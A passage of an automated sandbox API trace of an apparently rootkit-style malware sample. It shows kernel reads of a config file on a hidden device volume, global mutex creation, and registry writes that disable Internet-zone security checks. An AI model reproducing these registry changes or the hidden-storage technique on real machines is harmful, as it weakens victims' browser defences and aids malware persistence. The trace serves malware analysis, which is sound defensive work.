MemoryDescriptorList=0xfffffa80038a5e40) [0098.952] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0098.952] IdePortDispatch () returned 0x103 [0098.952] KeWaitForMutexObject () returned 0x0 [0098.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.953] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0098.953] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0098.953] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0098.953] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0098.953] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003905120 [0098.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.953] KeLeaveCriticalRegion () [0098.953] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.953] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.953] KeEnterCriticalRegion () [0098.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.953] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0098.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.953] KeLeaveCriticalRegion () [0098.953] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.953] KeEnterCriticalRegion () [0098.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.953] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0098.953] IdePortDispatch () returned 0x103 [0098.953] KeWaitForMutexObject () returned 0x0 [0098.953] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.953] KeLeaveCriticalRegion () [0098.953] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.953] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.953] KeEnterCriticalRegion () [0098.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.953] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800356c000 [0098.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.954] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0098.954] IdePortDispatch () returned 0x103 [0098.954] KeWaitForMutexObject () returned 0x0 [0098.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.954] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0098.954] IdePortDispatch () returned 0x103 [0098.954] KeWaitForMutexObject () returned 0x0 [0098.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.954] KeLeaveCriticalRegion () [0098.954] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.954] _snprintf (in: _Dest=0xfffff880027da760, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.954] KeEnterCriticalRegion () [0098.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.954] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff88000000010) returned 0xfffff8800356d1ae [0098.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.954] KeInitializeEvent (in: Event=0xfffff880027da580, Type=0x0, State=0 | out: Event=0xfffff880027da580) [0098.954] IdePortDispatch () returned 0x103 [0098.954] KeWaitForMutexObject () returned 0x0 [0098.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.955] KeInitializeEvent (in: Event=0xfffff880027da580, Type=0x0, State=0 | out: Event=0xfffff880027da580) [0098.955] IdePortDispatch () returned 0x103 [0098.955] KeWaitForMutexObject () returned 0x0 [0098.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0098.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0098.955] KeInitializeEvent (in: Event=0xfffff880027da550, Type=0x0, State=0 | out: Event=0xfffff880027da550) [0098.955] IdePortDispatch () returned 0x103 [0098.955] KeWaitForMutexObject () returned 0x0 [0098.955] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.955] KeLeaveCriticalRegion () [0098.955] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.955] _snprintf (in: _Dest=0xfffff880027da7b0, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.955] KeEnterCriticalRegion () [0098.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.955] KeInitializeEvent (in: Event=0xfffff880027da630, Type=0x0, State=0 | out: Event=0xfffff880027da630) [0098.955] IdePortDispatch () returned 0x103 [0098.956] KeWaitForMutexObject () returned 0x0 [0098.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0098.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.956] KeInitializeEvent (in: Event=0xfffff880027da630, Type=0x0, State=0 | out: Event=0xfffff880027da630) [0098.956] IdePortDispatch () returned 0x103 [0098.956] KeWaitForMutexObject () returned 0x0 [0098.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.956] KeInitializeEvent (in: Event=0xfffff880027da630, Type=0x0, State=0 | out: Event=0xfffff880027da630) [0098.956] IdePortDispatch () returned 0x103 [0098.956] KeWaitForMutexObject () returned 0x0 [0098.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.956] KeInitializeEvent (in: Event=0xfffff880027da600, Type=0x0, State=0 | out: Event=0xfffff880027da600) [0098.956] IdePortDispatch () returned 0x103 [0098.956] KeWaitForMutexObject () returned 0x0 [0098.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1270, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0098.957] KeInitializeEvent (in: Event=0xfffff880027da6a0, Type=0x0, State=0 | out: Event=0xfffff880027da6a0) [0098.957] IdePortDispatch () returned 0x103 [0098.957] KeWaitForMutexObject () returned 0x0 [0098.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.957] KeLeaveCriticalRegion () [0098.957] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.957] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.957] KeEnterCriticalRegion () [0098.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.957] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0098.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.957] KeLeaveCriticalRegion () [0098.957] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.957] KeEnterCriticalRegion () [0098.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.957] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0098.957] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003904f20, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0098.957] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.957] KeLeaveCriticalRegion () [0098.957] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.957] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.957] KeEnterCriticalRegion () [0098.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.958] ExFreePoolWithTag (P=0xfffffa8003905120, Tag=0x0) [0098.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.958] KeLeaveCriticalRegion () [0098.958] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0098.958] ReleaseMutex (hMutex=0x130) returned 1 [0098.958] CreateWaitableTimerA (lpTimerAttributes=0x101f62c, bManualReset=0, lpTimerName="Global\\56684A82-D074-4384-AEB9-D1A40041D9FB") returned 0x140 [0098.958] GetLastError () returned 0xb7 [0098.958] CreateMutexA (lpMutexAttributes=0x101f62c, bInitialOwner=0, lpName="Global\\6C29A0C8-62C6-415C-9538-B87690BC58D2") returned 0x144 [0098.958] GetLastError () returned 0xb7 [0098.958] _snprintf (in: _Dest=0x23c38, _Count=0x3ff, _Format="%s\\%s" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp") returned 48 [0098.958] PathFindFileNameA (pszPath="C:\\Windows\\SysWOW64\\ping.exe") returned="ping.exe" [0098.958] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\internet explorer\\main\\featurecontrol\\FEATURE_BROWSER_EMULATION", pszValue="ping.exe", dwType=0x4, pvData=0x101f634*=0x22b8, cbData=0x4 | out: pvData=0x101f634*=0x22b8) returned 0x0 [0098.958] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings", pszValue="maxhttpredirects", dwType=0x4, pvData=0x101f2c4*=0x270f, cbData=0x4 | out: pvData=0x101f2c4*=0x270f) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings", pszValue="enablehttp1_1", dwType=0x4, pvData=0x101f2c4*=0x1, cbData=0x4 | out: pvData=0x101f2c4*=0x1) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="currentlevel", dwType=0x4, pvData=0x101f2c4*=0x0, cbData=0x4 | out: pvData=0x101f2c4*=0x0) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1601", dwType=0x4, pvData=0x101f2c4*=0x0, cbData=0x4 | out: pvData=0x101f2c4*=0x0) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1400", dwType=0x4, pvData=0x101f2c4*=0x0, cbData=0x4 | out: pvData=0x101f2c4*=0x0) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1A10", dwType=0x4, pvData=0x101f2c4*=0x0, cbData=0x4 | out: pvData=0x101f2c4*=0x0) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="{AEBA21FA-782A-4A90-978D-B72164C80120}", dwType=0x3, pvData=0x21000*, cbData=0x1c | out: pvData=0x21000*) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="{A8A88C49-5EB2-4990-A1A2-0876022C854F}", dwType=0x3, pvData=0x21000*, cbData=0x1c | out: pvData=0x21000*) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1001", dwType=0x4, pvData=0x101f634*=0x0, cbData=0x4 | out: pvData=0x101f634*=0x0) returned 0x0 [0098.959] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1200", dwType=0x4, pvData=0x101f634*=0x0, cbData=0x4 | out: pvData=0x101f634*=0x0) returned 0x0 [0098.960] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1208", dwType=0x4, pvData=0x101f634*=0x0, cbData=0x4 | out: pvData=0x101f634*=0x0) returned 0x0 [0098.960] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1209", dwType=0x4, pvData=0x101f634*=0x0, cbData=0x4 | out: pvData=0x101f634*=0x0) returned 0x0 [0098.960] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="1405", dwType=0x4, pvData=0x101f634*=0x0, cbData=0x4 | out: pvData=0x101f634*=0x0) returned 0x0 [0098.960] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\windows\\currentversion\\internet settings\\zones\\3", pszValue="2000", dwType=0x4, pvData=0x101f634*=0x0, cbData=0x4 | out: pvData=0x101f634*=0x0) returned 0x0 [0098.960] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x0, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName=".DEFAULT", pcchName=0x101f630) returned 0x0 [0098.960] sprintf (in: _Dest=0x101f2dc, _Format="%s\\%s" | out: _Dest=".DEFAULT\\software\\microsoft\\internet explorer\\international") returned 59 [0098.960] SHGetValueA (in: hkey=0x80000003, pszSubKey=".DEFAULT\\software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", pdwType=0x101f62c, pvData=0x101f4e4, pcbData=0x101f630*=0x104 | out: pdwType=0x101f62c*=0xc, pvData=0x101f4e4, pcbData=0x101f630*=0x104) returned 0x2 [0098.960] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x1, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName="S-1-5-19", pcchName=0x101f630) returned 0x0 [0098.960] sprintf (in: _Dest=0x101f2dc, _Format="%s\\%s" | out: _Dest="S-1-5-19\\software\\microsoft\\internet explorer\\international") returned 59 [0098.960] SHGetValueA (in: hkey=0x80000003, pszSubKey="S-1-5-19\\software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", pdwType=0x101f62c, pvData=0x101f4e4, pcbData=0x101f630*=0x104 | out: pdwType=0x101f62c*=0x0, pvData=0x101f4e4, pcbData=0x101f630*=0x104) returned 0x2 [0098.960] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x2, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName="S-1-5-20", pcchName=0x101f630) returned 0x0 [0098.960] sprintf (in: _Dest=0x101f2dc, _Format="%s\\%s" | out: _Dest="S-1-5-20\\software\\microsoft\\internet explorer\\international") returned 59 [0098.960] SHGetValueA (in: hkey=0x80000003, pszSubKey="S-1-5-20\\software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", pdwType=0x101f62c, pvData=0x101f4e4, pcbData=0x101f630*=0x104 | out: pdwType=0x101f62c*=0x0, pvData=0x101f4e4, pcbData=0x101f630*=0x104) returned 0x2 [0098.961] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x3, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName="S-1-5-21-1463843789-3877896393-3178144628-1000", pcchName=0x101f630) returned 0x0 [0098.961] sprintf (in: _Dest=0x101f2dc, _Format="%s\\%s" | out: _Dest="S-1-5-21-1463843789-3877896393-3178144628-1000\\software\\microsoft\\internet explorer\\international") returned 97 [0098.961] SHGetValueA (in: hkey=0x80000003, pszSubKey="S-1-5-21-1463843789-3877896393-3178144628-1000\\software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", pdwType=0x101f62c, pvData=0x101f4e4, pcbData=0x101f630*=0x104 | out: pdwType=0x101f62c*=0x0, pvData=0x101f4e4, pcbData=0x101f630*=0x104) returned 0x2 [0098.961] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x4, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName="S-1-5-21-1463843789-3877896393-3178144628-1000_Classes", pcchName=0x101f630) returned 0x0 [0098.961] sprintf (in: _Dest=0x101f2dc, _Format="%s\\%s" | out: _Dest="S-1-5-21-1463843789-3877896393-3178144628-1000_Classes\\software\\microsoft\\internet explorer\\international") returned 105 [0098.961] SHGetValueA (in: hkey=0x80000003, pszSubKey="S-1-5-21-1463843789-3877896393-3178144628-1000_Classes\\software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", pdwType=0x101f62c, pvData=0x101f4e4, pcbData=0x101f630*=0x104 | out: pdwType=0x101f62c*=0x0, pvData=0x101f4e4, pcbData=0x101f630*=0x104) returned 0x2 [0098.961] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x5, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName="S-1-5-18", pcchName=0x101f630) returned 0x0 [0098.961] sprintf (in: _Dest=0x101f2dc, _Format="%s\\%s" | out: _Dest="S-1-5-18\\software\\microsoft\\internet explorer\\international") returned 59 [0098.961] SHGetValueA (in: hkey=0x80000003, pszSubKey="S-1-5-18\\software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", pdwType=0x101f62c, pvData=0x101f4e4, pcbData=0x101f630*=0x104 | out: pdwType=0x101f62c*=0x0, pvData=0x101f4e4, pcbData=0x101f630*=0x104) returned 0x2 [0098.961] SHEnumKeyExA (in: hkey=0x80000003, dwIndex=0x6, pszName=0x101f4e4, pcchName=0x101f630 | out: pszName="S-1-5-18", pcchName=0x101f630) returned 0x103 [0098.961] SHSetValueA (in: hkey=0x80000001, pszSubKey="software\\microsoft\\internet explorer\\international", pszValue="acceptlanguage", dwType=0x1, pvData="en-us", cbData=0x5 | out: pvData="en-us") returned 0x0 [0098.961] QueueUserWorkItem (Function=0x14c68, Context=0x0, Flags=0x10) returned 1 [0098.961] Sleep (dwMilliseconds=0x927c0) [0110.225] strncmp (_Str1="0;225;224;77;38;56;16;74;75", _Str2=";", _MaxCount=0x1) returned -11 [0110.225] strstr (_Str="0;225;224;77;38;56;16;74;75", _SubStr=";") returned=";225;224;77;38;56;16;74;75" [0110.225] strstr (_Str="225;224;77;38;56;16;74;75", _SubStr=";") returned=";224;77;38;56;16;74;75" [0110.225] strstr (_Str="224;77;38;56;16;74;75", _SubStr=";") returned=";77;38;56;16;74;75" [0110.226] strstr (_Str="77;38;56;16;74;75", _SubStr=";") returned=";38;56;16;74;75" [0110.226] strstr (_Str="38;56;16;74;75", _SubStr=";") returned=";56;16;74;75" [0110.226] strstr (_Str="56;16;74;75", _SubStr=";") returned=";16;74;75" [0110.226] strstr (_Str="16;74;75", _SubStr=";") returned=";74;75" [0110.226] strstr (_Str="74;75", _SubStr=";") returned=";75" [0110.226] strstr (_Str="75", _SubStr=";") returned 0x0 [0110.226] strstr (_Str="0;225;224;77;38;56;16;74;75", _SubStr=";") returned=";225;224;77;38;56;16;74;75" [0110.226] strstr (_Str="225;224;77;38;56;16;74;75", _SubStr=";") returned=";224;77;38;56;16;74;75" [0110.226] strstr (_Str="224;77;38;56;16;74;75", _SubStr=";") returned=";77;38;56;16;74;75" [0110.226] strstr (_Str="77;38;56;16;74;75", _SubStr=";") returned=";38;56;16;74;75" [0110.226] strstr (_Str="38;56;16;74;75", _SubStr=";") returned=";56;16;74;75" [0110.226] strstr (_Str="56;16;74;75", _SubStr=";") returned=";16;74;75" [0110.226] strstr (_Str="16;74;75", _SubStr=";") returned=";74;75" [0110.226] strstr (_Str="74;75", _SubStr=";") returned=";75" [0110.226] strstr (_Str="75", _SubStr=";") returned 0x0 [0110.226] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0110.226] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0110.226] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.226] KeEnterCriticalRegion () [0110.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038277e0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038277e0) [0110.226] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0110.226] IdePortDispatch () returned 0x103 [0110.226] KeWaitForMutexObject () returned 0x0 [0110.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0110.226] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.226] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0110.226] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0110.227] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0110.227] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038a9160 [0110.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.227] KeLeaveCriticalRegion () [0110.227] IofCompleteRequest (Irp=0xfffffa80028a3850, PriorityBoost=0) [0110.227] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.227] KeEnterCriticalRegion () [0110.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80028a3850, Context=0x0) returned 0x0 [0110.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.227] KeLeaveCriticalRegion () [0110.227] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0110.227] KeEnterCriticalRegion () [0110.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0110.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800393ec30 [0110.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800393ec30 | out: Irp=0xfffffa800393ec30) returned 0xfffffa80038277e0 [0110.227] MmProbeAndLockPages (in: 